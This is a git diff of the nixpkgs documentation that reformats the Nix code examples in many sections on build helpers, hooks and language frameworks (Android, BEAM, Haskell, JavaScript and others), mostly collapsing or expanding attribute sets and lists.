diff --git a/doc/build-helpers/images/binarycache.section.md b/doc/build-helpers/images/binarycache.section.md
index 46b43bd4f65a..348b8c49a2a2 100644
--- a/doc/build-helpers/images/binarycache.section.md
+++ b/doc/build-helpers/images/binarycache.section.md
@@ -33,10 +33,7 @@ You may also want to consider [dockerTools](#sec-pkgs-dockerTools) for your cont
 The following derivation will construct a flat-file binary cache containing the closure of `hello`.
 
 ```nix
-{ mkBinaryCache, hello }:
-mkBinaryCache {
-  rootPaths = [ hello ];
-}
+{ mkBinaryCache, hello }: mkBinaryCache { rootPaths = [ hello ]; }
 ```
 
 Build the cache on a machine.
diff --git a/doc/build-helpers/images/dockertools.section.md b/doc/build-helpers/images/dockertools.section.md
index fbb0df85d647..9059684fa319 100644
--- a/doc/build-helpers/images/dockertools.section.md
+++ b/doc/build-helpers/images/dockertools.section.md
@@ -1577,9 +1577,7 @@ This example uses [](#ex-dockerTools-streamNixShellImage-hello) as a starting po
 dockerTools.streamNixShellImage {
   tag = "latest";
   drv = hello.overrideAttrs (old: {
-    nativeBuildInputs = old.nativeBuildInputs or [ ] ++ [
-      cowsay
-    ];
+    nativeBuildInputs = old.nativeBuildInputs or [ ] ++ [ cowsay ];
   });
 }
 ```
diff --git a/doc/build-helpers/images/ocitools.section.md b/doc/build-helpers/images/ocitools.section.md
index 5101dd81715b..88011bda79e1 100644
--- a/doc/build-helpers/images/ocitools.section.md
+++ b/doc/build-helpers/images/ocitools.section.md
@@ -82,9 +82,7 @@ This example uses `ociTools.buildContainer` to create a simple container that ru
   bash,
 }:
 ociTools.buildContainer {
-  args = [
-    (lib.getExe bash)
-  ];
+  args = [ (lib.getExe bash) ];
 
   readonly = false;
 }
diff --git a/doc/build-helpers/special/checkpoint-build.section.md b/doc/build-helpers/special/checkpoint-build.section.md
index 036fee286a99..cb33bfbe329c 100644
--- a/doc/build-helpers/special/checkpoint-build.section.md
+++ b/doc/build-helpers/special/checkpoint-build.section.md
@@ -7,20 +7,18 @@ For hermeticity, Nix derivations do not allow any state to be carried over betwe
 However, we can tell Nix explicitly what the previous build state was, by representing that previous state as a derivation output. This allows the passed build state to be used for an incremental build.
 
 To change a normal derivation to a checkpoint based build, these steps must be taken:
-  - apply `prepareCheckpointBuild` on the desired derivation, e.g.
-```nix
-{
-  checkpointArtifacts = (pkgs.checkpointBuildTools.prepareCheckpointBuild pkgs.virtualbox);
-}
-```
-  - change something you want in the sources of the package, e.g. use a source override:
-```nix
-{
-  changedVBox = pkgs.virtualbox.overrideAttrs (old: {
-    src = path/to/vbox/sources;
-  });
-}
-```
+  ```nix
+  {
+    checkpointArtifacts = (pkgs.checkpointBuildTools.prepareCheckpointBuild pkgs.virtualbox);
+  }
+  ```
+  ```nix
+  {
+    changedVBox = pkgs.virtualbox.overrideAttrs (old: {
+      src = path/to/vbox/sources;
+    });
+  }
+  ```
   - use `mkCheckpointBuild changedVBox checkpointArtifacts`
   - enjoy shorter build times
 
@@ -30,10 +28,7 @@ To change a normal derivation to a checkpoint based build, these steps must be t
   pkgs ? import <nixpkgs> { },
 }:
 let
-  inherit (pkgs.checkpointBuildTools)
-    prepareCheckpointBuild
-    mkCheckpointBuild
-    ;
+  inherit (pkgs.checkpointBuildTools) prepareCheckpointBuild mkCheckpointBuild;
   helloCheckpoint = prepareCheckpointBuild pkgs.hello;
   changedHello = pkgs.hello.overrideAttrs (_: {
     doCheck = false;
diff --git a/doc/build-helpers/testers.chapter.md b/doc/build-helpers/testers.chapter.md
index 9e46635c600c..ddebf551e229 100644
--- a/doc/build-helpers/testers.chapter.md
+++ b/doc/build-helpers/testers.chapter.md
@@ -15,9 +15,7 @@ If the `moduleNames` argument is omitted, `hasPkgConfigModules` will use `meta.p
 
 ```nix
 {
-  passthru.tests.pkg-config = testers.hasPkgConfigModules {
-    package = finalAttrs.finalPackage;
-  };
+  passthru.tests.pkg-config = testers.hasPkgConfigModules { package = finalAttrs.finalPackage; };
 
   meta.pkgConfigModules = [ "libfoo" ];
 }
@@ -54,9 +52,7 @@ If you have a static site that can be built with Nix, you can use `lycheeLinkChe
 # Check hyperlinks in the `nix` documentation
 
 ```nix
-testers.lycheeLinkCheck {
-  site = nix.doc + "/share/doc/nix/manual";
-}
+testers.lycheeLinkCheck { site = nix.doc + "/share/doc/nix/manual"; }
 ```
 
 :::
@@ -249,9 +245,7 @@ The default argument to the command is `--version`, and the version to be checke
 This example will run the command `hello --version`, and then check that the version of the `hello` package is in the output of the command.
 
 ```nix
-{
-  passthru.tests.version = testers.testVersion { package = hello; };
-}
+{ passthru.tests.version = testers.testVersion { package = hello; }; }
 ```
 
 :::
diff --git a/doc/build-helpers/trivial-build-helpers.chapter.md b/doc/build-helpers/trivial-build-helpers.chapter.md
index 48ed99b2fa36..1b6bc3311869 100644
--- a/doc/build-helpers/trivial-build-helpers.chapter.md
+++ b/doc/build-helpers/trivial-build-helpers.chapter.md
@@ -152,9 +152,7 @@ runCommandWith {
 
 Likewise, `runCommandCC name derivationArgs buildCommand` is equivalent to
 ```nix
-runCommandWith {
-  inherit name derivationArgs;
-} buildCommand
+runCommandWith { inherit name derivationArgs; } buildCommand
 ```
 :::
 
@@ -713,7 +711,10 @@ concatTextFile
   # Writes contents of files to /nix/store/<store path>
   concatText
   "my-file"
-  [ file1 file2 ]
+  [
+    file1
+    file2
+  ]
 
   # Writes contents of files to /nix/store/<store path>
   concatScript
@@ -790,7 +791,7 @@ The result is equivalent to the output of `nix-store -q --requisites`.
 For example,
 
 ```nix
-writeClosure [ (writeScriptBin "hi" ''${hello}/bin/hello'') ]
+writeClosure [ (writeScriptBin "hi" "${hello}/bin/hello") ]
 ```
 
 produces an output path `/nix/store/<hash>-runtime-deps` containing
@@ -816,7 +817,7 @@ This produces the equivalent of `nix-store -q --references`.
 For example,
 
 ```nix
-writeDirectReferencesToFile (writeScriptBin "hi" ''${hello}/bin/hello'')
+writeDirectReferencesToFile (writeScriptBin "hi" "${hello}/bin/hello")
 ```
 
 produces an output path `/nix/store/<hash>-runtime-references` containing
diff --git a/doc/functions/generators.section.md b/doc/functions/generators.section.md
index 0b073c641e53..f636d00cc258 100644
--- a/doc/functions/generators.section.md
+++ b/doc/functions/generators.section.md
@@ -27,8 +27,8 @@ let
     } ":";
   };
 
+  # the INI file can now be given as plain old nix values
 in
-# the INI file can now be given as plain old nix values
 customToINI {
   main = {
     pushinfo = true;
diff --git a/doc/functions/nix-gitignore.section.md b/doc/functions/nix-gitignore.section.md
index 416b5435fa58..e4962e200220 100644
--- a/doc/functions/nix-gitignore.section.md
+++ b/doc/functions/nix-gitignore.section.md
@@ -15,13 +15,24 @@
   src = nix-gitignore.gitignoreSource [ ] ./source;
   # Simplest version
 
-  src = nix-gitignore.gitignoreSource "supplemental-ignores\n" ./source;
+  src = nix-gitignore.gitignoreSource ''
+    supplemental-ignores
+  '' ./source;
   # This one reads the ./source/.gitignore and concats the auxiliary ignores
 
-  src = nix-gitignore.gitignoreSourcePure "ignore-this\nignore-that\n" ./source;
+  src = nix-gitignore.gitignoreSourcePure ''
+    ignore-this
+    ignore-that
+  '' ./source;
   # Use this string as gitignore, don't read ./source/.gitignore.
 
-  src = nix-gitignore.gitignoreSourcePure [ "ignore-this\nignore-that\n" ~/.gitignore ] ./source;
+  src = nix-gitignore.gitignoreSourcePure [
+    ''
+      ignore-this
+      ignore-that
+    ''
+    ~/.gitignore
+  ] ./source;
   # It also accepts a list (of strings and paths) that will be concatenated
   # once the paths are turned to strings via readFile.
 }
@@ -41,9 +52,7 @@ Those filter functions accept the same arguments the `builtins.filterSource` fun
 If you want to make your own filter from scratch, you may use
 
 ```nix
-{
-  gitignoreFilter = ign: root: filterPattern (gitignoreToPatterns ign) root;
-}
+{ gitignoreFilter = ign: root: filterPattern (gitignoreToPatterns ign) root; }
 ```
 
 ## gitignore files in subdirectories {#sec-pkgs-nix-gitignore-usage-recursive}
diff --git a/doc/hooks/breakpoint.section.md b/doc/hooks/breakpoint.section.md
index cbc93b0fb988..c8c1ad26173a 100644
--- a/doc/hooks/breakpoint.section.md
+++ b/doc/hooks/breakpoint.section.md
@@ -3,9 +3,7 @@
 This hook makes a build pause instead of stopping when a failure occurs. It prevents Nix from cleaning up the build environment immediately and allows the user to attach to the build environment. Upon a build error, it will print instructions that can be used to enter the environment for debugging. breakpointHook is only available on Linux. To use it, add `breakpointHook` to `nativeBuildInputs` in the package to be inspected.
 
 ```nix
-{
-  nativeBuildInputs = [ breakpointHook ];
-}
+{ nativeBuildInputs = [ breakpointHook ]; }
 ```
 
 When a build failure occurs, an instruction will be printed showing how to attach to the build sandbox.
diff --git a/doc/hooks/memcached-test-hook.section.md b/doc/hooks/memcached-test-hook.section.md
index 03fc91ab4bf0..6575d33b7e05 100644
--- a/doc/hooks/memcached-test-hook.section.md
+++ b/doc/hooks/memcached-test-hook.section.md
@@ -4,17 +4,12 @@
 This hook starts a Memcached server during `checkPhase`. Example:
 
 ```nix
-{
-  stdenv,
-  memcachedTestHook,
-}:
+{ stdenv, memcachedTestHook }:
 stdenv.mkDerivation {
 
   # ...
 
-  nativeCheckInputs = [
-    memcachedTestHook
-  ];
+  nativeCheckInputs = [ memcachedTestHook ];
 }
 ```
 
@@ -45,11 +40,10 @@ stdenv.mkDerivation {
 
   # ...
 
-  nativeCheckInputs = [
-    memcachedTestHook
-  ];
+  nativeCheckInputs = [ memcachedTestHook ];
 
   preCheck = ''
     memcachedTestPort=1234;
   '';
 }
+```
diff --git a/doc/hooks/patch-rc-path-hooks.section.md b/doc/hooks/patch-rc-path-hooks.section.md
index 080a03da72d6..61bcb276c4ee 100644
--- a/doc/hooks/patch-rc-path-hooks.section.md
+++ b/doc/hooks/patch-rc-path-hooks.section.md
@@ -38,9 +38,7 @@ stdenv.mkDerivation {
 
   # ...
 
-  nativeBuildInputs = [
-    patchRcPathFish
-  ];
+  nativeBuildInputs = [ patchRcPathFish ];
 
   postFixup = ''
     patchRcPathFish $out/bin/this-foo.fish ${
diff --git a/doc/hooks/redis-test-hook.section.md b/doc/hooks/redis-test-hook.section.md
index 7971b29fa10a..383f8b5c29ce 100644
--- a/doc/hooks/redis-test-hook.section.md
+++ b/doc/hooks/redis-test-hook.section.md
@@ -13,9 +13,7 @@ stdenv.mkDerivation {
 
   # ...
 
-  nativeCheckInputs = [
-    redisTestHook
-  ];
+  nativeCheckInputs = [ redisTestHook ];
 }
 ```
 
@@ -56,9 +54,7 @@ stdenv.mkDerivation {
 
   # ...
 
-  nativeCheckInputs = [
-    redisTestHook
-  ];
+  nativeCheckInputs = [ redisTestHook ];
 
   preCheck = ''
     redisTestPort=6390;
diff --git a/doc/hooks/tauri.section.md b/doc/hooks/tauri.section.md
index 290bc3a1d781..32881813d42d 100644
--- a/doc/hooks/tauri.section.md
+++ b/doc/hooks/tauri.section.md
@@ -35,21 +35,17 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "...";
   };
 
-  nativeBuildInputs =
-    [
-      # Pull in our main hook
-      cargo-tauri.hook
+  nativeBuildInputs = [
+    # Pull in our main hook
+    cargo-tauri.hook
 
-      # Setup npm
-      nodejs
-      npmHooks.npmConfigHook
+    # Setup npm
+    nodejs
+    npmHooks.npmConfigHook
 
-      # Make sure we can find our libraries
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wrapGAppsHook4
-    ];
+    # Make sure we can find our libraries
+    pkg-config
+  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ wrapGAppsHook4 ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     glib-networking # Most Tauri apps need networking
diff --git a/doc/hooks/versionCheckHook.section.md b/doc/hooks/versionCheckHook.section.md
index 16b1ee97e890..49caff371aec 100644
--- a/doc/hooks/versionCheckHook.section.md
+++ b/doc/hooks/versionCheckHook.section.md
@@ -15,9 +15,7 @@ You use it like this:
 stdenv.mkDerivation (finalAttrs: {
   # ...
 
-  nativeInstallCheckInputs = [
-    versionCheckHook
-  ];
+  nativeInstallCheckInputs = [ versionCheckHook ];
   doInstallCheck = true;
 
   # ...
diff --git a/doc/hooks/zig.section.md b/doc/hooks/zig.section.md
index 1c52e9827b41..58515087c59a 100644
--- a/doc/hooks/zig.section.md
+++ b/doc/hooks/zig.section.md
@@ -16,9 +16,7 @@ In Nixpkgs, `zig.hook` overrides the default build, check and install phases.
 stdenv.mkDerivation {
   # . . .
 
-  nativeBuildInputs = [
-    zig.hook
-  ];
+  nativeBuildInputs = [ zig.hook ];
 
   zigBuildFlags = [ "-Dman-pages=true" ];
 
diff --git a/doc/interoperability/cyclonedx.md b/doc/interoperability/cyclonedx.md
index 3c141b86d9f9..95c51e8a5df0 100644
--- a/doc/interoperability/cyclonedx.md
+++ b/doc/interoperability/cyclonedx.md
@@ -79,9 +79,7 @@ let
         sha256,
         ...
       }:
-      pkgs.fetchzip {
-        inherit name url sha256;
-      };
+      pkgs.fetchzip { inherit name url sha256; };
   };
 
 in
diff --git a/doc/languages-frameworks/agda.section.md b/doc/languages-frameworks/agda.section.md
index 6b9e577f8119..bfc406aa5090 100644
--- a/doc/languages-frameworks/agda.section.md
+++ b/doc/languages-frameworks/agda.section.md
@@ -142,9 +142,7 @@ agdaPackages.mkDerivation {
   version = "1.0";
   pname = "my-agda-lib";
   src = ./.;
-  buildInputs = [
-    agdaPackages.standard-library
-  ];
+  buildInputs = [ agdaPackages.standard-library ];
 }
 ```
 
diff --git a/doc/languages-frameworks/android.section.md b/doc/languages-frameworks/android.section.md
index 9e93d4eda36d..b47874df1820 100644
--- a/doc/languages-frameworks/android.section.md
+++ b/doc/languages-frameworks/android.section.md
@@ -8,17 +8,13 @@ supporting features.
 Use the `android-studio-full` attribute for a very complete Android SDK, including system images:
 
 ```nix
-{
-  buildInputs = [ android-studio-full ];
-}
+{ buildInputs = [ android-studio-full ]; }
 ```
 
 This is identical to:
 
 ```nix
-{
-  buildInputs = [ androidStudioPackages.stable.full ];
-}
+{ buildInputs = [ androidStudioPackages.stable.full ]; }
 ```
 
 Alternatively, you can pass composeAndroidPackages to the `withSdk` passthru:
@@ -26,11 +22,7 @@ Alternatively, you can pass composeAndroidPackages to the `withSdk` passthru:
 ```nix
 {
   buildInputs = [
-    (android-studio.withSdk
-      (androidenv.composeAndroidPackages {
-        includeNDK = true;
-      }).androidsdk
-    )
+    (android-studio.withSdk (androidenv.composeAndroidPackages { includeNDK = true; }).androidsdk)
   ];
 }
 ```
@@ -58,9 +50,7 @@ let
       "arm64-v8a"
     ];
     includeNDK = true;
-    includeExtras = [
-      "extras;google;auto"
-    ];
+    includeExtras = [ "extras;google;auto" ];
   };
 in
 androidComposition.androidsdk
diff --git a/doc/languages-frameworks/beam.section.md b/doc/languages-frameworks/beam.section.md
index ada05b0ddc22..c52ee0a26046 100644
--- a/doc/languages-frameworks/beam.section.md
+++ b/doc/languages-frameworks/beam.section.md
@@ -65,9 +65,7 @@ let
     overlays = [ ];
   };
 in
-pkgs.mkShell {
-  packages = [ pkgs.beamPackages.rebar3 ];
-}
+pkgs.mkShell { packages = [ pkgs.beamPackages.rebar3 ]; }
 ```
 :::
 
@@ -322,9 +320,7 @@ with pkgs;
 let
   elixir = beam.packages.erlang_27.elixir_1_18;
 in
-mkShell {
-  buildInputs = [ elixir ];
-}
+mkShell { buildInputs = [ elixir ]; }
 ```
 
 ### Using an overlay {#beam-using-overlays}
@@ -346,11 +342,7 @@ let
   pkgs = import <nixpkgs> { overlays = [ elixir_1_18_1_overlay ]; };
 in
 with pkgs;
-mkShell {
-  buildInputs = [
-    elixir_1_18
-  ];
-}
+mkShell { buildInputs = [ elixir_1_18 ]; }
 ```
 
 #### Elixir - Phoenix project {#elixir---phoenix-project}
diff --git a/doc/languages-frameworks/chicken.section.md b/doc/languages-frameworks/chicken.section.md
index 78a4469a8e1d..c0c36d692327 100644
--- a/doc/languages-frameworks/chicken.section.md
+++ b/doc/languages-frameworks/chicken.section.md
@@ -77,8 +77,8 @@ let
       );
     }
   );
+  # Here, `myChickenPackages.chickenEggs.json-rpc`, which depends on `srfi-180` will use
+  # the local copy of `srfi-180`.
 in
-# Here, `myChickenPackages.chickenEggs.json-rpc`, which depends on `srfi-180` will use
-# the local copy of `srfi-180`.
 <...>
 ```
diff --git a/doc/languages-frameworks/coq.section.md b/doc/languages-frameworks/coq.section.md
index c08ed2bc6f43..5da705964fa8 100644
--- a/doc/languages-frameworks/coq.section.md
+++ b/doc/languages-frameworks/coq.section.md
@@ -145,17 +145,13 @@ There are three distinct ways of changing a Coq package by overriding one of its
 For example, assuming you have a special `mathcomp` dependency you want to use, here is how you could override the `mathcomp` dependency:
 
 ```nix
-multinomials.override {
-  mathcomp = my-special-mathcomp;
-}
+multinomials.override { mathcomp = my-special-mathcomp; }
 ```
 
 In Nixpkgs, all Coq derivations take a `version` argument.  This can be overridden in order to easily use a different version:
 
 ```nix
-coqPackages.multinomials.override {
-  version = "1.5.1";
-}
+coqPackages.multinomials.override { version = "1.5.1"; }
 ```
 
 Refer to [](#coq-packages-attribute-sets-coqpackages) for all the different formats that you can potentially pass to `version`, as well as the restrictions.
diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index e045bb43b78c..8699594e1d6d 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -146,9 +146,7 @@ These settings ensure that the CUDA setup hooks function as intended.
 When using `callPackage`, you can choose to pass in a different variant, e.g. when a package requires a specific version of CUDA:
 
 ```nix
-{
-  mypkg = callPackage { cudaPackages = cudaPackages_12_2; };
-}
+{ mypkg = callPackage { cudaPackages = cudaPackages_12_2; }; }
 ```
 
 ::: {.caution}
@@ -208,9 +206,7 @@ It is possible to run Docker or Podman containers with CUDA support. The recomme
 The NVIDIA Container Toolkit can be enabled in NixOS like follows:
 
 ```nix
-{
-  hardware.nvidia-container-toolkit.enable = true;
-}
+{ hardware.nvidia-container-toolkit.enable = true; }
 ```
 
 This will automatically enable a service that generates a CDI specification (located at `/var/run/cdi/nvidia-container-toolkit.json`) based on the auto-detected hardware of your machine. You can check this service by running:
diff --git a/doc/languages-frameworks/dhall.section.md b/doc/languages-frameworks/dhall.section.md
index 469f1a4fe3d1..1e86e263089d 100644
--- a/doc/languages-frameworks/dhall.section.md
+++ b/doc/languages-frameworks/dhall.section.md
@@ -94,9 +94,7 @@ let
     hash = "sha256-B4Q3c6IvTLg3Q92qYa8y+i4uTaphtFdjp+Ir3QQjdN0=";
   };
 
-  dhallOverlay = self: super: {
-    true = self.callPackage ./true.nix { };
-  };
+  dhallOverlay = self: super: { true = self.callPackage ./true.nix { }; };
 
   overlay = self: super: {
     dhallPackages = super.dhallPackages.override (old: {
diff --git a/doc/languages-frameworks/dotnet.section.md b/doc/languages-frameworks/dotnet.section.md
index ea3448542f5d..396177da9d47 100644
--- a/doc/languages-frameworks/dotnet.section.md
+++ b/doc/languages-frameworks/dotnet.section.md
@@ -10,9 +10,7 @@ with import <nixpkgs> { };
 
 mkShell {
   name = "dotnet-env";
-  packages = [
-    dotnet-sdk
-  ];
+  packages = [ dotnet-sdk ];
 }
 ```
 
@@ -161,7 +159,9 @@ buildDotnetModule rec {
   projectFile = "src/project.sln";
   nugetDeps = ./deps.json; # see "Generating and updating NuGet dependencies" section for details
 
-  buildInputs = [ referencedProject ]; # `referencedProject` must contain `nupkg` in the folder structure.
+  buildInputs = [
+    referencedProject
+  ]; # `referencedProject` must contain `nupkg` in the folder structure.
 
   dotnet-sdk = dotnetCorePackages.sdk_8_0;
   dotnet-runtime = dotnetCorePackages.runtime_8_0;
diff --git a/doc/languages-frameworks/emscripten.section.md b/doc/languages-frameworks/emscripten.section.md
index 0fca82f70aed..53d02d78cec3 100644
--- a/doc/languages-frameworks/emscripten.section.md
+++ b/doc/languages-frameworks/emscripten.section.md
@@ -38,78 +38,75 @@ One advantage is that when `pkgs.zlib` is updated, it will automatically update
 
 
 ```nix
-(pkgs.zlib.override {
-  stdenv = pkgs.emscriptenStdenv;
-}).overrideAttrs
-  (old: {
-    buildInputs = old.buildInputs ++ [ pkg-config ];
-    # we need to reset this setting!
-    env = (old.env or { }) // {
-      NIX_CFLAGS_COMPILE = "";
-    };
+(pkgs.zlib.override { stdenv = pkgs.emscriptenStdenv; }).overrideAttrs (old: {
+  buildInputs = old.buildInputs ++ [ pkg-config ];
+  # we need to reset this setting!
+  env = (old.env or { }) // {
+    NIX_CFLAGS_COMPILE = "";
+  };
 
-    configurePhase = ''
-      # FIXME: Some tests require writing at $HOME
-      HOME=$TMPDIR
-      runHook preConfigure
+  configurePhase = ''
+    # FIXME: Some tests require writing at $HOME
+    HOME=$TMPDIR
+    runHook preConfigure
 
-      #export EMCC_DEBUG=2
-      emconfigure ./configure --prefix=$out --shared
+    #export EMCC_DEBUG=2
+    emconfigure ./configure --prefix=$out --shared
 
-      runHook postConfigure
-    '';
+    runHook postConfigure
+  '';
 
-    dontStrip = true;
-    outputs = [ "out" ];
+  dontStrip = true;
+  outputs = [ "out" ];
 
-    buildPhase = ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      emmake make
+    emmake make
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
-    installPhase = ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      emmake make install
+    emmake make install
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
-    checkPhase = ''
-      runHook preCheck
+  checkPhase = ''
+    runHook preCheck
 
-      echo "================= testing zlib using node ================="
+    echo "================= testing zlib using node ================="
 
-      echo "Compiling a custom test"
-      set -x
-      emcc -O2 -s EMULATE_FUNCTION_POINTER_CASTS=1 test/example.c -DZ_SOLO \
-      libz.so.${old.version} -I . -o example.js
+    echo "Compiling a custom test"
+    set -x
+    emcc -O2 -s EMULATE_FUNCTION_POINTER_CASTS=1 test/example.c -DZ_SOLO \
+    libz.so.${old.version} -I . -o example.js
 
-      echo "Using node to execute the test"
-      ${pkgs.nodejs}/bin/node ./example.js
+    echo "Using node to execute the test"
+    ${pkgs.nodejs}/bin/node ./example.js
 
-      set +x
-      if [ $? -ne 0 ]; then
-        echo "test failed for some reason"
-        exit 1;
-      else
-        echo "it seems to work! very good."
-      fi
-      echo "================= /testing zlib using node ================="
+    set +x
+    if [ $? -ne 0 ]; then
+      echo "test failed for some reason"
+      exit 1;
+    else
+      echo "it seems to work! very good."
+    fi
+    echo "================= /testing zlib using node ================="
 
-      runHook postCheck
-    '';
+    runHook postCheck
+  '';
 
-    postPatch = pkgs.lib.optionalString pkgs.stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure \
-        --replace-fail '/usr/bin/libtool' 'ar' \
-        --replace-fail 'AR="libtool"' 'AR="ar"' \
-        --replace-fail 'ARFLAGS="-o"' 'ARFLAGS="-r"'
-    '';
-  })
+  postPatch = pkgs.lib.optionalString pkgs.stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure \
+      --replace-fail '/usr/bin/libtool' 'ar' \
+      --replace-fail 'AR="libtool"' 'AR="ar"' \
+      --replace-fail 'ARFLAGS="-o"' 'ARFLAGS="-r"'
+  '';
+})
 ```
 
 :::{.example #usage-2-pkgs.buildemscriptenpackage}
diff --git a/doc/languages-frameworks/factor.section.md b/doc/languages-frameworks/factor.section.md
index 0d67eede4d34..7b854e11b0ba 100644
--- a/doc/languages-frameworks/factor.section.md
+++ b/doc/languages-frameworks/factor.section.md
@@ -81,10 +81,7 @@ The function understands several forms of source directory trees:
 
 For instance, packaging the Bresenham algorithm for line interpolation looks like this, see `pkgs/development/compilers/factor-lang/vocabs/bresenham` for the complete file:
 ```nix
-{
-  factorPackages,
-  fetchFromGitHub,
-}:
+{ factorPackages, fetchFromGitHub }:
 
 factorPackages.buildFactorVocab {
   pname = "bresenham";
diff --git a/doc/languages-frameworks/gnome.section.md b/doc/languages-frameworks/gnome.section.md
index 718c296bce80..0b4d66a430f4 100644
--- a/doc/languages-frameworks/gnome.section.md
+++ b/doc/languages-frameworks/gnome.section.md
@@ -48,9 +48,7 @@ In the rare case you need to use icons from dependencies (e.g. when an app force
 
 ```nix
 {
-  buildInputs = [
-    pantheon.elementary-icon-theme
-  ];
+  buildInputs = [ pantheon.elementary-icon-theme ];
   preFixup = ''
     gappsWrapperArgs+=(
       # The icon theme is hardcoded.
diff --git a/doc/languages-frameworks/go.section.md b/doc/languages-frameworks/go.section.md
index 172bf2ca8f37..cb06059e89a9 100644
--- a/doc/languages-frameworks/go.section.md
+++ b/doc/languages-frameworks/go.section.md
@@ -147,9 +147,7 @@ A string list of [Go build tags (also called build constraints)](https://pkg.go.
 Tags can also be set conditionally:
 
 ```nix
-{
-  tags = [ "production" ] ++ lib.optionals withSqlite [ "sqlite" ];
-}
+{ tags = [ "production" ] ++ lib.optionals withSqlite [ "sqlite" ]; }
 ```
 
 ### `deleteVendor` {#var-go-deleteVendor}
@@ -268,9 +266,7 @@ For example, only a selection of tests could be run with:
 ```nix
 {
   # -run and -skip accept regular expressions
-  checkFlags = [
-    "-run=^Test(Simple|Fast)$"
-  ];
+  checkFlags = [ "-run=^Test(Simple|Fast)$" ];
 }
 ```
 
diff --git a/doc/languages-frameworks/haskell.section.md b/doc/languages-frameworks/haskell.section.md
index 7da9580e2045..47d0af7aca5d 100644
--- a/doc/languages-frameworks/haskell.section.md
+++ b/doc/languages-frameworks/haskell.section.md
@@ -779,9 +779,7 @@ need to build `nix-tree` with a more recent version of `brick` than the default
 one provided by `haskellPackages`:
 
 ```nix
-haskellPackages.nix-tree.override {
-  brick = haskellPackages.brick_0_67;
-}
+haskellPackages.nix-tree.override { brick = haskellPackages.brick_0_67; }
 ```
 
 <!-- TODO(@sternenseemann): This belongs in the next section
@@ -837,8 +835,8 @@ let
       install -Dm644 man/${drv.pname}.1 -t "$out/share/man/man1"
     '';
   });
-in
 
+in
 installManPage haskellPackages.pnbackup
 ```
 
@@ -1306,8 +1304,8 @@ let
   ghcName = "ghc92";
   # Desired new setting
   enableProfiling = true;
-in
 
+in
 [
   # The first overlay modifies the GHC derivation so that it does or does not
   # build profiling versions of the core libraries bundled with it. It is
@@ -1318,8 +1316,8 @@ in
     final: prev:
     let
       inherit (final) lib;
-    in
 
+    in
     {
       haskell = prev.haskell // {
         compiler = prev.haskell.compiler // {
@@ -1337,8 +1335,8 @@ in
     let
       inherit (final) lib;
       haskellLib = final.haskell.lib.compose;
-    in
 
+    in
     {
       haskell = prev.haskell // {
         packages = prev.haskell.packages // {
diff --git a/doc/languages-frameworks/ios.section.md b/doc/languages-frameworks/ios.section.md
index 3823b097d7a2..6ee32f23c068 100644
--- a/doc/languages-frameworks/ios.section.md
+++ b/doc/languages-frameworks/ios.section.md
@@ -31,9 +31,7 @@ Xcode.
 let
   pkgs = import <nixpkgs> { };
 
-  xcodeenv = import ./xcodeenv {
-    inherit (pkgs) stdenv;
-  };
+  xcodeenv = import ./xcodeenv { inherit (pkgs) stdenv; };
 in
 xcodeenv.composeXcodeWrapper {
   version = "9.2";
@@ -65,9 +63,7 @@ executing the `xcodeenv.buildApp {}` function:
 let
   pkgs = import <nixpkgs> { };
 
-  xcodeenv = import ./xcodeenv {
-    inherit (pkgs) stdenv;
-  };
+  xcodeenv = import ./xcodeenv { inherit (pkgs) stdenv; };
 in
 xcodeenv.buildApp {
   name = "MyApp";
@@ -161,9 +157,7 @@ instances:
 let
   pkgs = import <nixpkgs> { };
 
-  xcodeenv = import ./xcodeenv {
-    inherit (pkgs) stdenv;
-  };
+  xcodeenv = import ./xcodeenv { inherit (pkgs) stdenv; };
 in
 xcode.simulateApp {
   name = "simulate";
@@ -195,9 +189,7 @@ app in the requested simulator instance:
 let
   pkgs = import <nixpkgs> { };
 
-  xcodeenv = import ./xcodeenv {
-    inherit (pkgs) stdenv;
-  };
+  xcodeenv = import ./xcodeenv { inherit (pkgs) stdenv; };
 in
 xcode.simulateApp {
   name = "simulate";
diff --git a/doc/languages-frameworks/java.section.md b/doc/languages-frameworks/java.section.md
index 05203c378ae9..5c6fc05d78ca 100644
--- a/doc/languages-frameworks/java.section.md
+++ b/doc/languages-frameworks/java.section.md
@@ -104,11 +104,7 @@ You can also specify what JDK your JRE should be based on, for example
 selecting a 'headless' build to avoid including a link to GTK+:
 
 ```nix
-{
-  my_jre = pkgs.jre_minimal.override {
-    jdk = jdk11_headless;
-  };
-}
+{ my_jre = pkgs.jre_minimal.override { jdk = jdk11_headless; }; }
 ```
 
 Note all JDKs passthru `home`, so if your application requires
diff --git a/doc/languages-frameworks/javascript.section.md b/doc/languages-frameworks/javascript.section.md
index 3b73859da6fe..22f5b466f46b 100644
--- a/doc/languages-frameworks/javascript.section.md
+++ b/doc/languages-frameworks/javascript.section.md
@@ -303,9 +303,7 @@ buildNpmPackage {
   version = "0.1.0";
   src = ./.;
 
-  npmDeps = importNpmLock {
-    npmRoot = ./.;
-  };
+  npmDeps = importNpmLock { npmRoot = ./.; };
 
   npmConfigHook = importNpmLock.npmConfigHook;
 }
@@ -456,9 +454,7 @@ In case you are patching `package.json` or `pnpm-lock.yaml`, make sure to pass `
 `pnpm.configHook` supports adding additional `pnpm install` flags via `pnpmInstallFlags` which can be set to a Nix string array:
 
 ```nix
-{
-  pnpm,
-}:
+{ pnpm }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "foo";
@@ -470,9 +466,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmInstallFlags = [ "--shamefully-hoist" ];
 
-  pnpmDeps = pnpm.fetchDeps {
-    inherit (finalAttrs) pnpmInstallFlags;
-  };
+  pnpmDeps = pnpm.fetchDeps { inherit (finalAttrs) pnpmInstallFlags; };
 })
 ```
 
